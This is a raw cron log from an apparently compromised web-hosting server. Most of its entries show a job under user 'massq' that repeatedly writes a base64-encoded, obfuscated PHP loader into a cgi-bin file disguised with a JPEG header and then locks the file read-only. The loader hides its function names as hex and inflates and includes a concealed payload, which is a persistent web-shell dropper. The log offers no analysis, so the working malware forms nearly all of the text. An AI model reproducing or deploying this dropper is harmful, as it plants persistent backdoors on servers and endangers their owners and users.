Nov  9 17:47:01 server CROND[13360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:48:01 server CROND[14161]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:49:01 server CROND[14934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:50:01 server CROND[15472]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 17:50:01 server CROND[15474]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:50:01 server CROND[15477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:50:01 server CROND[15476]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 17:50:01 server CROND[15478]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:51:01 server CROND[16439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:52:01 server CROND[17243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:53:01 server CROND[18065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:54:01 server CROND[18884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:55:01 server CROND[19697]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:55:01 server CROND[19699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:55:01 server CROND[19700]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:56:01 server CROND[20504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:57:01 server CROND[21313]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 17:57:01 server CROND[21314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:58:01 server CROND[22233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:59:01 server CROND[23042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:00:01 server CROND[23854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 18:00:01 server CROND[23855]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov  9 18:00:01 server CROND[23861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
